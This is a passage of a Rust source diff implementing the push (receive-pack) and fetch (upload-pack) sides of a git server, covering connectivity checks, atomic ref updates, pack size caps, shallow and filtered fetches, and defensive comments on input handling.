(cmd, caps) = match line.iter().position(|&b| b == 0) { + Some(p) => (&line[..p], Some(&line[p + 1..])), + None => (&line[..], None), + }; + if let Some(c) = caps { + client_caps = String::from_utf8_lossy(c).to_string(); + } + // Lossy decoding would silently swap invalid bytes for U+FFFD, so the ref name we + // store could differ from the bytes the client actually sent. Reject the whole + // command instead — same handling as any other malformed `old new name` line below. + let s = std::str::from_utf8(cmd) + .map_err(|_| err("bad ref name"))? + .to_string(); + let mut parts = s.split(' '); + let (old, new, name) = ( + parts.next().ok_or_else(|| err("bad cmd"))?, + parts.next().ok_or_else(|| err("bad cmd"))?, + parts.next().ok_or_else(|| err("bad cmd"))?, + ); + let zero = "0".repeat(40); + let parse = |h: &str| -> Result> { + if h == zero { + Ok(None) + } else { + Ok(Some( + ObjectId::from_hex(h.as_bytes()).map_err(|e| err(e.to_string()))?, + )) + } + }; + if !crate::refs::valid_ref_name(name) { + return Err(err("bad ref name")); + } + updates.push(RefUpdate { + name: name.to_string(), + old: parse(old)?, + new: parse(new)?, + }); + } + if updates.is_empty() { + return Ok(()); + } + let cap = |c: &str| client_caps.split(' ').any(|x| x == c); + let sideband = cap("side-band-64k"); + // v2 is a superset, so a client asking for it is asking for a report. + let report_v2 = cap("report-status-v2"); + let report = report_v2 || cap("report-status"); + + // `git push -o key=value`. They arrive between the commands and the pack, so + // they must be read even when nothing consumes them yet — leaving them in the + // stream would make the pack parser read option text as pack bytes. + let push_options: Vec = if cap("push-options") { + pktline::read_lines_until_flush(input)? + .into_iter() + .map(|l| String::from_utf8_lossy(&l).trim_end().to_string()) + .collect() + } else { + Vec::new() + }; + if !push_options.is_empty() { + // ponytail: accepted and recorded, consumed by nothing yet — CI Triggers + // is the intended reader. + // + // Debug (`?`, not `%`) is load-bearing: Debug-formatting a str escapes control + // bytes (ESC, CR, etc.) as `\u{..}`, so an attacker-controlled option value + // can't inject ANSI/log-forging sequences into an operator's terminal. + tracing::info!(push_options = ?push_options, "push options"); + } + + // 2+3. index pack, upload, validate tips, apply refs. + // Any failure here is reported to the client rather than aborting the stream. + let mut results: Vec> = vec![None; updates.len()]; + let mut unpack_status = "ok".to_string(); + let mut fatal: Option = None; + if let Err(e) = apply(store, repo, input, &updates, &mut results, interrupt) { + // A fence is not a per-ref failure to report and move on from: it means this node no + // longer holds the repo, and the caller must re-route. Propagate it; the HTTP/SSH layer + // turns it into a retry or a 503. + if crate::pool::is_fenced(&e) { + return Err(e); + } + let m = e.to_string().replace('\n', " "); + unpack_status = format!("error {m}"); + fatal = Some(format!("unpack failed: {m}")); + for r in results.iter_mut() { + *r = Some(m.clone()); + } + } + + // 4. report + if let Some(m) = &fatal { + if sideband { + pktline::write_band(out, 3, m.as_bytes())?; + } + } + if report { + let mut body = Vec::new(); + pktline::write_text(&mut body, &format!("unpack {unpack_status}"))?; + for (u, r) in updates.iter().zip(&results) { + match r { + None => { + pktline::write_text(&mut body, &format!("ok {}", u.name))?; + // v2 lets the server say what the ref ended up as. Only sent + // when the client asked for v2: an `option` line to a v1 + // client is a protocol error, not a nicety it ignores. + if report_v2 { + if let Some(new) = u.new { + pktline::write_text( + &mut body, + &format!("option new-oid {}", new.to_hex()), + )?; + } + } + } + Some(m) => pktline::write_text(&mut body, &format!("ng {} {}", u.name, m))?, + } + } + pktline::write_flush(&mut body)?; + if sideband { + let mut bw = BandWriter { w: out, band: 1 }; + bw.write_all(&body)?; + pktline::write_flush(out)?; + } else { + out.write_all(&body)?; + } + } + Ok(()) +} + +/// The object ids contained in a freshly written pack index. +fn pack_object_ids(idx: &std::path::Path) -> Result> { + let file = gix_pack::index::File::at(idx, gix_hash::Kind::Sha1)?; + Ok(file.iter().map(|e| e.oid).collect()) +} + +/// Whether a connectivity-walk error is "an object is not in the odb", as opposed to a read that +/// failed. Matched on the OUTER types `reachable_set_hiding` can return — every gix wrapper here is +/// What one push's connectivity check may take as given, carried across its refs. +#[derive(Default)] +struct Known { + /// objects the client actually supplied in this push + pushed: std::collections::HashSet, + /// Everything under the trees of the commits the new history grows from — what an unchanged + /// subtree is explained by. Each such commit is expanded once, however many refs share it. + boundary: std::collections::HashSet, + expanded: std::collections::HashSet, + /// Proven already: sent and everything under it checked, or ours. + verified: std::collections::HashSet, + /// The whole-repo closure — the last resort, built at most once per push. + ours: Option>, +} + +impl Known { + /// Whether every object `range` needs is in the pack or already this repo's. + /// + /// Bounded by the push, not the repo: only a tree the client SENT is opened, an unchanged + /// subtree is matched against the trees of the commits the new history grows from (what + /// git's own check reads), and only what neither explains — a blob revived from older + /// history, a ref pushed at an existing tag — pays for the whole-repo closure. Every new + /// commit is checked, not just the tip: a hole in the middle of the range is still a hole. + fn explains( + &mut self, + odb: &gix_odb::Handle, + range: crate::protocol::upload::Range, + old_tips: &[gix_hash::ObjectId], + interrupt: &AtomicBool, + ) -> Result { + use crate::protocol::upload::{count_objects, reachable_set, walked}; + use gix_object::{FindExt, ObjectRef}; + use gix_pack::data::output::count::objects::ObjectExpansion; + let crate::protocol::upload::Range { ids, leaves, boundary, .. } = range; + let mut buf = Vec::new(); + for c in boundary { + if !self.expanded.insert(c) { + continue; + } + let tree = odb.find_commit(&c, &mut buf)?.tree(); + let counts = count_objects(odb, vec![tree], ObjectExpansion::TreeContents, interrupt)?; + walked(counts.len()); + self.boundary.extend(counts.into_iter().map(|c| c.id)); + } + let mut todo = ids; + todo.extend(leaves); + while let Some(id) = todo.pop() { + if !self.verified.insert(id) { + continue; + } + walked(1); + if self.pushed.contains(&id) { + // The client sent it, so it is here to read, and what it points at must be + // explained too. A commit's parents are not followed: each is either in the + // range (on `todo` already) or hidden, which is ours. + match FindExt::find(odb, &id, &mut buf)?.decode()? { + ObjectRef::Commit(c) => todo.push(c.tree()), + ObjectRef::Tag(t) => todo.push(t.target()), + ObjectRef::Tree(t) => todo.extend( + t.entries.iter().filter(|e| !e.mode.is_commit()).map(|e| e.oid.to_owned()), + ), + ObjectRef::Blob(_) => {} + } + } else if !self.boundary.contains(&id) { + // ponytail: full enumeration, no cache — memoize per (repo, tip-set) if pushes + // that revive old blobs get slow. + if self.ours.is_none() { + self.ours = Some(reachable_set(odb, old_tips)?); + } + if !self.ours.as_ref().expect("just filled").contains(&id) { + return Ok(false); + } + } + } + Ok(true) + } +} + +/// `#[error(transparent)]`, which forwards `source()` past itself, so the `NotFound` variant is +/// never a link in the chain and has to be read through each wrapper's own enum. +fn is_missing_object(e: &crate::Error) -> bool { + use gix_object::find::{existing, existing_iter}; + use gix_pack::data::output::count::objects::Error as Count; + use gix_traverse::{commit::simple::Error as Walk, tree::breadthfirst::Error as Tree}; + let one = |e: &existing::Error| matches!(e, existing::Error::NotFound { .. }); + let iter = |e: &existing_iter::Error| matches!(e, existing_iter::Error::NotFound { .. }); + // peel_wants: a tip that names nothing + e.downcast_ref::().is_some_and(one) + // the commit walk: a parent that is not there + || e.downcast_ref::().is_some_and(|w| matches!(w, Walk::Find(f) if iter(f))) + // tree expansion: a tree or blob a commit points at that is not there + || e.downcast_ref::().is_some_and(|c| match c { + Count::FindExisting(f) => one(f), + Count::TreeTraverse(Tree::Find(f)) => iter(f), + _ => false, + }) +} + +#[cfg(test)] +mod missing_object_tests { + use super::*; + + /// "Not in the odb" is the pusher's problem; a read that failed is ours and must propagate. + #[test] + fn only_a_not_found_is_the_pushers_fault() { + let oid = gix_hash::ObjectId::null(gix_hash::Kind::Sha1); + let missing: crate::Error = Box::new(gix_object::find::existing::Error::NotFound { oid }); + assert!(is_missing_object(&missing)); + let walk: crate::Error = Box::new(gix_traverse::commit::simple::Error::Find( + gix_object::find::existing_iter::Error::NotFound { oid }, + )); + assert!(is_missing_object(&walk)); + let io: crate::Error = Box::new(std::io::Error::new(std::io::ErrorKind::PermissionDenied, "pack")); + assert!(!is_missing_object(&io)); + assert!(!is_missing_object(&crate::err("store: timeout"))); + } +} + +/// Index+store the pack and apply the ref updates; fills `results` with per-ref rejections. +fn apply( + store: &Store, + repo: &Repo, + input: &mut dyn BufRead, + updates: &[RefUpdate], + results: &mut [Option], + interrupt: &AtomicBool, +) -> Result<()> { + // objects the client actually supplied in this push + let mut pushed: std::collections::HashSet = Default::default(); + // pack (only if some update creates/moves a ref) + // path of THIS push's freshly-written pack, if any — tracked so a fully-rejected push can + // delete exactly what it added and nothing reachable from an existing ref. + let mut this_push_pack: Option<(std::path::PathBuf, std::path::PathBuf)> = None; + if updates.iter().any(|u| u.new.is_some()) { + // input may have no more bytes if client sends only deletes; peek + let has_data = input.fill_buf().map(|b| !b.is_empty()).unwrap_or(false); + if has_data { + if let Some((pack, idx)) = write_pack(repo, input, interrupt)? { + pushed = pack_object_ids(&idx)?; + this_push_pack = Some((pack, idx)); + } + } + } + + // Full connectivity + isolation. For each new tip we walk the commits it adds, stopping at + // the refs this repo already had, and require every object those commits need to be either: + // * in the pack the client just sent, or + // * already reachable from this repo's own refs. + // Two things fall out of this. A pack with holes fails the walk (the missing object is in no + // set) instead of creating a ref whose history is broken. And "exists in the local odb" is + // NOT accepted, because the cache can hold objects this repo does not own: a pack from a push + // that was rejected after indexing, or a pack a repack elsewhere has since dropped and the + // prune has not yet reached. + let odb = repo.odb()?; + let old_tips: Vec = block_on(store.list_refs(repo))? + .into_iter() + .map(|(_, o)| o) + .collect(); + let mut known = Known { pushed, ..Default::default() }; + // Grows with every tip accepted so far, so a push of 20 branches off one base walks their + // shared history once instead of 20 times. Hiding an ACCEPTED tip cannot hide a problem: its + // own closure was just proven to be entirely in this pack or already ours, so anything a later + // ref reaches through it is explained too. This is what git itself does. + let mut hide = old_tips.clone(); + for (i, u) in updates.iter().enumerate() { + let Some(n) = u.new else { continue }; + // the commits this push adds on top of what the repo already had + let range = match crate::protocol::upload::range_over(&odb, vec![n], hide.clone()) { + Ok(r) => r, + // a tip, or a parent on the way down to our refs, that is not there + Err(e) if is_missing_object(&e) => { + results[i] = Some("missing necessary objects".into()); + continue; + } + // Anything else — an unreadable pack file, a corrupt object — is this node's fault, + // and telling the pusher their pack has holes sends them debugging the wrong side. + Err(e) => return Err(e), + }; + if !known.explains(&odb, range, &old_tips, interrupt)? { + results[i] = Some("missing necessary objects".into()); + } + if results[i].is_none() { + hide.push(n); + } + } + // `atomic` is advertised, so one ref failing the walk fails the batch — applying the survivors + // would be exactly the partial push the client asked not to have. The pack was never uploaded, + // so there is nothing in the object store to undo — only the local files this node indexed. + if results.iter().any(|r| r.is_some()) { + for r in results.iter_mut() { + if r.is_none() { + *r = Some("atomic push failed".into()); + } + } + if let Some((pack, idx)) = &this_push_pack { + let _ = std::fs::remove_file(pack); + let _ = std::fs::remove_file(idx); + } + return Ok(()); + } + // Uploaded only now that every update has survived connectivity, so a broken or hostile + // client costs a local index instead of a full multipart upload plus a delete. Still strictly + // BEFORE `update_refs`, which is what the ordering was always for: a ref must never be + // published pointing at objects that exist only on this node. + // + // On failure, drop the just-indexed pack from the local cache too — otherwise this instance's + // odb would keep serving objects S3 lacks. + if let Some((pack, idx)) = &this_push_pack { + if let Err(e) = block_on(store.upload_pack_files(repo, pack, idx)) { + let _ = std::fs::remove_file(pack); + let _ = std::fs::remove_file(idx); + return Err(e); + } + } + let r = block_on(crate::refs::update_refs(store, repo, updates))?; + // update_refs is all-or-nothing: if any entry was rejected, nothing was applied. + let atomic_fail = r.iter().any(|x| x.is_some()); + if atomic_fail { + // Same reasoning as the connectivity branch above: nothing from this batch landed + // (branch protection is one way a single entry can reject the whole atomic update), so + // nothing reachable points at this push's pack. + if let Some((pack, idx)) = &this_push_pack { + let _ = block_on(store.delete_pack_files(repo, pack, idx)); + } + } + for (res, v) in results.iter_mut().zip(r) { + *res = v.or_else(|| atomic_fail.then(|| "atomic push failed".into())); + } + Ok(()) +} + +/// A `BufRead` that errors once more than `left` bytes have gone through it. +/// +/// HTTP enforces `max_body` in the extractor before a handler runs; SSH hands this module a raw +/// channel with nothing in front of it. The cap sits here, where both transports feed the pack +/// through, so an authenticated pusher cannot stream a pack until the node's disk is full. It +/// errors rather than truncating: a `Take` would hand the indexer a clean EOF and the pusher a +/// baffling "pack truncated" instead of the reason. +struct Capped<'a> { + inner: &'a mut dyn BufRead, + left: u64, + hit_cap: bool, +} + +impl std::io::Read for Capped<'_> { + fn read(&mut self, buf: &mut [u8]) -> std::io::Result { + let n = { + let src = self.fill_buf()?; + let n = src.len().min(buf.len()); + buf[..n].copy_from_slice(&src[..n]); + n + }; + self.consume(n); + Ok(n) + } +} + +impl BufRead for Capped<'_> { + fn fill_buf(&mut self) -> std::io::Result<&[u8]> { + let b = self.inner.fill_buf()?; + if self.left == 0 && !b.is_empty() { + self.hit_cap = true; + return Err(std::io::Error::other("pack exceeds the size limit")); + } + let n = (b.len() as u64).min(self.left) as usize; + Ok(&b[..n]) + } + fn consume(&mut self, n: usize) { + // Saturating, not `-=`: a caller that consumes more than `fill_buf` handed back is + // violating the `BufRead` contract, but wrapping here would silently lift the cap. + self.left = self.left.saturating_sub(n as u64); + self.inner.consume(n); + } +} + +/// Index the incoming pack into repo.pack_dir; returns (pack_path, idx_path), or None if pack was empty. +fn write_pack( + repo: &Repo, + input: &mut dyn BufRead, + should_interrupt: &AtomicBool, +) -> Result> { + let odb = repo.odb()?; + let mut progress = gix_features::progress::Discard; + let opts = gix_pack::bundle::write::Options { + thread_limit: None, + iteration_mode: gix_pack::data::input::Mode::Verify, + index_version: gix_pack::index::Version::V2, + object_hash: gix_hash::Kind::Sha1, + alloc_limit_bytes: Some(1024 * 1024 * 1024), // 1 GiB per-object cap: reject zlib/delta bombs + compression: Default::default(), + }; + let mut capped = + Capped { inner: input, left: rustic_git_core::httpx::max_body() as u64, hit_cap: false }; + let outcome = match gix_pack::Bundle::write_to_directory( + &mut capped, + Some(&repo.pack_dir), + &mut progress, + should_interrupt, + Some(odb), + opts, + ) { + Ok(o) => o, + // gix buries the io error's message under its own ("a pack entry could not be + // extracted"), which tells the pusher nothing. The reader records that it was the cap + // that failed the read, so say what actually happened. + Err(_) if capped.hit_cap => return Err(err("pack exceeds the size limit")), + Err(e) => return Err(e.into()), + }; + if let Some(k) = outcome.keep_path { + let _ = std::fs::remove_file(k); + } + match (outcome.data_path, outcome.index_path) { + (Some(p), Some(i)) => Ok(Some((p, i))), + _ => Ok(None), + } +} diff --git a/crates/git/src/protocol/upload/mod.rs b/crates/git/src/protocol/upload/mod.rs new file mode 100644 index 00000000..11178445 --- /dev/null +++ b/crates/git/src/protocol/upload/mod.rs @@ -0,0 +1,369 @@ +mod pack; +mod refs; +mod walk; + +use super::{block_on, AGENT}; +use crate::pktline::{self, BandWriter, Pkt}; +use crate::store::{Repo, Store}; +use crate::{err, Result}; +use gix_hash::ObjectId; +use gix_pack::data::output::count::objects::ObjectExpansion; +use refs::{head_target, ls_refs, peel_to_object}; +use std::io::{BufRead, Write}; +use std::sync::atomic::AtomicBool; +use walk::{commit_range, counts_with_leaves, filtered_objects, reachable_commits, Deepen, Filter, Peeled}; + +pub(crate) use pack::{count_objects, pack_from_ids, write_pack}; +pub(crate) use walk::{commit_range as range_over, Range}; + +/// Objects visited to answer "does this repo have X" — a push's connectivity check, a fetch's +/// `have`s. Counted so a test can pin that cost to the size of the change and not the repo. +pub static WALKED: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0); + +pub(crate) fn walked(n: usize) { + WALKED.fetch_add(n, std::sync::atomic::Ordering::Relaxed); +} + +pub fn advertise(out: &mut dyn Write) -> Result<()> { + pktline::write_text(out, "version 2")?; + pktline::write_text(out, AGENT)?; + pktline::write_text(out, "ls-refs=unborn symrefs peel")?; + pktline::write_text(out, "fetch=shallow filter wait-for-done ref-in-want")?; + pktline::write_text(out, "object-format=sha1")?; + pktline::write_flush(out)?; + Ok(()) +} + +pub fn serve( + store: &Store, + repo: &Repo, + input: &mut dyn BufRead, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + loop { + let cmd = match pktline::read_pkt(input)? { + Some(Pkt::Data(d)) => String::from_utf8_lossy(&d).trim_end().to_string(), + Some(Pkt::Flush) => continue, + None | Some(_) => return Ok(()), + }; + let cmd = cmd + .strip_prefix("command=") + .ok_or_else(|| err("expected command="))? + .to_string(); + // capability lines (agent=..., object-format=...) until delim, then the argument list + let mut args = Vec::new(); + loop { + match pktline::read_pkt(input)? { + Some(Pkt::Delim) => { + args = read_args(input)?; + break; + } + Some(Pkt::Data(_)) => {} + _ => break, + } + } + match cmd.as_str() { + "ls-refs" => ls_refs(store, repo, &args, out)?, + "fetch" => fetch(store, repo, &args, out, interrupt)?, + _ => { + pktline::write_text(out, &format!("ERR unknown command {cmd}"))?; + pktline::write_flush(out)?; + return Ok(()); + } + } + } +} + +fn read_args(input: &mut dyn BufRead) -> Result> { + Ok(pktline::read_lines_until_flush(input)? + .into_iter() + .map(|l| String::from_utf8_lossy(&l).to_string()) + .collect()) +} + +fn fetch( + store: &Store, + repo: &Repo, + args: &[String], + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + let mut wants = Vec::new(); + let mut haves = Vec::new(); + let mut done = false; + let mut wait_for_done = false; + let mut deepen = Deepen::default(); + // `want-ref `: the client names a REF instead of an oid, so it does not + // have to run ls-refs first — and cannot race a ref that moves in between. + let mut want_refs: Vec = Vec::new(); + let mut include_tag = false; + let mut filter: Option = None; + for a in args { + if let Some(h) = a.strip_prefix("want ") { + wants.push(ObjectId::from_hex(h.as_bytes()).map_err(|e| err(e.to_string()))?); + } else if let Some(h) = a.strip_prefix("have ") { + haves.push(ObjectId::from_hex(h.as_bytes()).map_err(|e| err(e.to_string()))?); + } else if a == "done" { + done = true; + } else if a == "wait-for-done" { + wait_for_done = true; + } else if let Some(r) = a.strip_prefix("want-ref ") { + want_refs.push(r.trim().to_string()); + } else if a == "include-tag" { + include_tag = true; + } else if let Some(n) = a.strip_prefix("deepen ") { + deepen.depth = Some(n.trim().parse::().map_err(|_| err("bad deepen"))?.max(1)); + } else if a == "deepen-relative" { + deepen.relative = true; + } else if let Some(t) = a.strip_prefix("deepen-since ") { + deepen.since = Some(t.trim().parse::().map_err(|_| err("bad deepen-since"))?); + } else if let Some(r) = a.strip_prefix("deepen-not ") { + // A ref name or an oid. Resolving here means the client does not have + // to look it up first. + let r = r.trim(); + match ObjectId::from_hex(r.as_bytes()) { + Ok(o) => deepen.not.push(o), + Err(_) => match block_on(store.list_refs(repo))? + .into_iter() + .find(|(name, _)| name == r || name.ends_with(&format!("/{r}"))) + { + Some((_, o)) => deepen.not.push(o), + // Refusing beats ignoring. A cutoff we cannot resolve would + // otherwise turn a request for a small clone into a silent + // full transfer — the client asked for less and would be + // billed for everything, with nothing saying so. + None => { + pktline::write_text(out, &format!("ERR deepen-not: no such ref {r}"))?; + return Ok(()); + } + }, + } + } else if let Some(h) = a.strip_prefix("shallow ") { + deepen + .client_shallow + .push(ObjectId::from_hex(h.trim().as_bytes()).map_err(|e| err(e.to_string()))?); + } else if let Some(spec) = a.strip_prefix("filter ") { + match Filter::parse(spec) { + Some(f) => filter = Some(f), + // Refused, not ignored. A filter we quietly drop turns a request + // for a small clone into a full transfer with nothing to show + // for it — the exact behaviour this feature exists to end. + None => { + pktline::write_text(out, &format!("ERR filter {spec} not supported"))?; + return Ok(()); + } + } + } + // no-progress, thin-pack, ofs-delta, include-tag, sideband-all: accepted/ignored + } + let odb = repo.odb()?; + let all_refs = block_on(store.list_refs(repo))?; + let tips: Vec = all_refs.iter().map(|(_, o)| *o).collect(); + + // Resolved before anything else uses `wants`, so a want-ref is indistinguishable + // from an oid want from here on. + let mut wanted: Vec<(String, ObjectId)> = Vec::new(); + for name in &want_refs { + // HEAD is not stored; it is a rule about the other refs. + let name = if name == "HEAD" { head_target(&all_refs) } else { name.clone() }; + match all_refs.iter().find(|(n, _)| **n == name) { + Some((_, oid)) => { + // Answered under the name the CLIENT asked for, which is what it + // is waiting to hear back. + wanted.push((name.clone(), *oid)); + wants.push(*oid); + } + // Named a ref we do not have: say so rather than quietly sending + // nothing, which would look like an empty repo. + None => { + pktline::write_text(out, &format!("ERR upload-pack: not our ref {name}"))?; + return Ok(()); + } + } + } + // A `have` counts as common only if it is reachable from THIS repo's refs. Testing raw + // existence in the odb would answer for an object a force-push orphaned. A have is a commit, + // so the commit walk answers it without touching a tree. + let common: Vec = if haves.is_empty() { + Vec::new() + } else { + let ours_set = reachable_commits(&odb, &tips, &haves)?; + haves.iter().copied().filter(|h| ours_set.contains(h)).collect() + }; + + if !done { + pktline::write_text(out, "acknowledgments")?; + if common.is_empty() { + pktline::write_text(out, "NAK")?; + pktline::write_flush(out)?; + return Ok(()); + } + for c in &common { + pktline::write_text(out, &format!("ACK {}", c.to_hex()))?; + } + if wait_for_done { + // client asked us to keep negotiating until it says `done` + pktline::write_flush(out)?; + return Ok(()); + } + pktline::write_text(out, "ready")?; + pktline::write_delim(out)?; + } + // A ref tip is always fair game. Anything else has to be REACHABLE from this + // repo's refs — which is what a partial clone's follow-up fetch asks for, when + // it comes back for a blob it left behind. + // + // Reachable, not merely present: an object that a force-push orphaned is still + // in the pack files, and answering for it would let anyone who learned an id + // read content the branch no longer has. The same test already guards `have`. + // A commit is placed by the commit walk; only a tree or blob (a promisor fetch) is not on + // it, and only then is the full closure worth building. + let tip_set: std::collections::HashSet<&ObjectId> = tips.iter().collect(); + let unknown: Vec = wants.iter().copied().filter(|w| !tip_set.contains(w)).collect(); + if !unknown.is_empty() { + let commits = reachable_commits(&odb, &tips, &unknown)?; + let rest: Vec = unknown.into_iter().filter(|w| !commits.contains(w)).collect(); + if !rest.is_empty() { + let ours_set = reachable_set(&odb, &tips)?; + if let Some(w) = rest.iter().find(|w| !ours_set.contains(*w)) { + pktline::write_text(out, &format!("ERR upload-pack: not our ref {}", w.to_hex()))?; + return Ok(()); + } + } + } + + // A shallow fetch is decided here, after the wants are known to be ours, and + // reported BEFORE the pack: the client has to know where its history is cut + // before it starts reading objects that stop there. + let shallow = if deepen.asked() || !deepen.client_shallow.is_empty() { + Some(walk::shallow_walk(&odb, &wants, &deepen)?) + } else { + None + }; + if let Some(s) = &shallow { + if !s.boundary.is_empty() || !s.unshallow.is_empty() { + pktline::write_text(out, "shallow-info")?; + for c in &s.boundary { + pktline::write_text(out, &format!("shallow {}", c.to_hex()))?; + } + for c in &s.unshallow { + pktline::write_text(out, &format!("unshallow {}", c.to_hex()))?; + } + pktline::write_delim(out)?; + } + } + + if !wanted.is_empty() { + pktline::write_text(out, "wanted-refs")?; + for (name, oid) in &wanted { + pktline::write_text(out, &format!("{} {name}", oid.to_hex()))?; + } + pktline::write_delim(out)?; + } + + // `include-tag`: carry any tag whose target is in the pack. This is why a + // plain `git clone` normally arrives with tags — without it they are simply + // absent, and nothing tells the person why. + // Decided from the commits being sent, not a second walk of every object: a tag names a + // commit in practice, and `commit_range` is O(commits) where the object walk is O(repo). + // ponytail: a tag pointing straight at a tree or blob is not carried by include-tag; the + // client fetches it by name on the next `git fetch --tags`. + // The traversal is the expensive half of a fetch, and with include-tag it used to run + // twice — once to decide which tags ride along, once to build the pack. A shallow fetch + // already has its commit list (the shallow walk decided it), so it computes no range. + let range = match &shallow { + None => Some(commit_range(&odb, wants.clone(), common.clone())?), + Some(_) => None, + }; + + let mut extra_tags: Vec = Vec::new(); + if include_tag { + let sending: std::collections::HashSet = match (&shallow, &range) { + (Some(s), _) => s.commits.iter().copied().collect(), + (None, Some(r)) => r.ids.iter().copied().collect(), + (None, None) => unreachable!("range exists whenever the fetch is not shallow"), + }; + for (name, oid) in &all_refs { + if !name.starts_with("refs/tags/") || wants.contains(oid) { + continue; + } + let target = peel_to_object(&odb, *oid).unwrap_or(*oid); + if sending.contains(&target) { + extra_tags.push(*oid); + } + } + } + + pktline::write_text(out, "packfile")?; + let mut band = BandWriter { w: out, band: 1 }; + // With a boundary, the commit list is already decided — walking from the wants + // again would run straight past it into the history being withheld. + // The tags go in whichever way the pack is being built — a shallow fetch sends + // an explicit object list, so appending to `wants` alone would drop them. + let res = match (&shallow, filter, range) { + // A filtered pack is an explicit object list by construction — every object in it was + // chosen one by one — so it goes out AS IS, and both shallow and full go through the + // same path once the commits are known. Expanding it would put back exactly the blobs + // the filter removed. + (shallow, Some(f), range) => { + // A tree or blob wanted by id is a promisor fetch for that object: the filter does + // not apply to it and it still expands whole, as git does. + let (commits, leaves) = match (shallow, range) { + (Some(s), _) => (s.commits.clone(), Vec::new()), + (None, Some(r)) => (r.ids, r.leaves), + (None, None) => unreachable!("range exists whenever the fetch is not shallow"), + }; + let mut ids = filtered_objects(&odb, &commits, f)?; + ids.extend(extra_tags); + let have: std::collections::HashSet = common.into_iter().collect(); + ids.retain(|id| !have.contains(id)); + counts_with_leaves(&odb, ids, ObjectExpansion::AsIs, leaves, interrupt) + .and_then(|c| pack::write_counts(&odb, c, &mut band, interrupt)) + } + (Some(s), None, _) => { + let mut ids = s.commits.clone(); + ids.extend(extra_tags); + pack::write_pack_of(&odb, ids, common, &mut band, interrupt) + } + (None, None, Some(mut r)) => { + r.ids.extend(extra_tags); + pack::write_pack_range(&odb, r, &mut band, interrupt) + } + (None, None, None) => unreachable!("range exists whenever the fetch is not shallow"), + }; + if let Err(e) = res { + // past the packfile header the only way to report failure is the error band + let msg = e.to_string().replace('\n', " "); + pktline::write_band(out, 3, format!("ERR {msg}\n").as_bytes())?; + } + pktline::write_flush(out)?; + Ok(()) +} + +/// Every object reachable from `tips` (commits, their trees and blobs, peeled tags). +/// +/// This is what "objects this repo legitimately has" means — reachable, not merely present: a +/// force-push orphan is still in the pack files and must not become a want or a ref again. +/// +/// ponytail: full enumeration per call. It is the last resort now — a fetch asks it only for a +/// tree or blob wanted by id, a push only for an object neither its pack nor the trees it grows +/// from explain (a blob revived from older history). Cache per (repo, tip-set) if either ever +/// shows up in latency. +pub(crate) fn reachable_set( + odb: &gix_odb::Handle, + tips: &[ObjectId], +) -> Result> { + // peel tags to commits so the walk has valid starting points; keep every id we touch + let Peeled { commits, tags, leaves } = walk::peel_wants(odb, tips)?; + let mut ids = tags; + ids.extend(leaves); + for info in gix_traverse::commit::Simple::new(commits, odb.clone()) { + ids.push(info?.id); + } + let counts = count_objects(odb, ids.clone(), ObjectExpansion::TreeContents, &AtomicBool::new(false))?; + walked(ids.len() + counts.len()); + let mut set: std::collections::HashSet = ids.into_iter().collect(); + set.extend(counts.into_iter().map(|c| c.id)); + Ok(set) +} diff --git a/crates/git/src/protocol/upload/pack.rs b/crates/git/src/protocol/upload/pack.rs new file mode 100644 index 00000000..934ac28e --- /dev/null +++ b/crates/git/src/protocol/upload/pack.rs @@ -0,0 +1,155 @@ +use super::walk::{counts_with_leaves, Range}; +use gix_hash::ObjectId; +use gix_pack::data::output::count::objects::ObjectExpansion; +use crate::{err, Result}; +use std::io::Write; +use std::sync::atomic::AtomicBool; + +/// Stream a pack for an EXPLICIT set of commits — a shallow fetch, where the walk +/// has already been done and stopped at the boundary. +/// +/// Separate from `write_pack` rather than a flag on it, because the difference is +/// not a parameter: one decides which commits to send by walking, and walking is +/// exactly what a boundary forbids. +pub(super) fn write_pack_of( + odb: &gix_odb::Handle, + commits: Vec, + haves: Vec, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + // The client already has everything reachable from `haves`, and inside a + // boundary "reachable" cannot run away into withheld history. + let have: std::collections::HashSet = haves.into_iter().collect(); + let ids: Vec = commits.into_iter().filter(|c| !have.contains(c)).collect(); + // A shallow boundary's parent is withheld, so a diff against it would be a delta onto an + // object the client never gets. + pack_from_ids(odb, ids, ObjectExpansion::TreeContents, out, interrupt) +} + +/// Stream a pack containing everything reachable from `wants` and not from `haves`. +pub(crate) fn write_pack( + odb: &gix_odb::Handle, + wants: Vec, + haves: Vec, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + let range = super::walk::commit_range(odb, wants, haves)?; + write_pack_range(odb, range, out, interrupt) +} + +/// The pack for an already-computed [`Range`] — `fetch` computes the range once and shares it +/// with the include-tag decision; `write_pack` wraps the two for callers with plain wants. +pub(super) fn write_pack_range( + odb: &gix_odb::Handle, + range: Range, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + // pack entries are copied straight out of mapped packs, which must not be unloaded meanwhile + let mut odb = odb.clone(); + odb.prevent_pack_unload(); + let odb = &odb; + // Commits carry only what they ADD over their parents: the client either has the parent + // (it was a `have`) or is getting it in this same pack. Expanding every commit's whole tree + // instead made an incremental fetch cost O(repo) — each `git fetch` re-sent every blob. + // A tree or blob wanted by id (a promisor fetch) is still expanded whole, as git does; its + // pass is deduped against the first because each count has its own `seen` set. + // ponytail: gix-pack's `TreeAdditionsComparedToAncestor` is wrong for a merge (upstream: GitoxideLabs/gitoxide#2935) — it clears the + // change delegate inside the per-parent loop and only reads it after, so only the LAST + // parent's additions survive; worse, `AllNew::visit` marks every addition seen as it records + // it, so an addition found via an earlier parent is neither emitted here nor re-emitted when + // another commit diffs and finds the same blob. So merges get their whole tree instead of + // their additions — merges are a minority of commits, and the traversal in `commit_range` + // already knows which ones, so this costs no re-decode. Drop this when gix-pack is fixed. + let Range { ids, mut leaves, merges, .. } = range; + leaves.extend(merges); + let counts = counts_with_leaves( + odb, + ids, + ObjectExpansion::TreeAdditionsComparedToAncestor, + leaves, + interrupt, + )?; + write_counts(odb, counts, out, interrupt) +} + +/// Expand `ids` into the entries a pack will carry. One call has one `seen` set, so a caller +/// combining two passes has to dedup by id itself — a repeated entry is a corrupt pack. +pub(crate) fn count_objects( + odb: &gix_odb::Handle, + ids: Vec, + expansion: ObjectExpansion, + interrupt: &AtomicBool, +) -> Result> { + use gix_pack::data::output; + let mut odb = odb.clone(); + odb.prevent_pack_unload(); + let 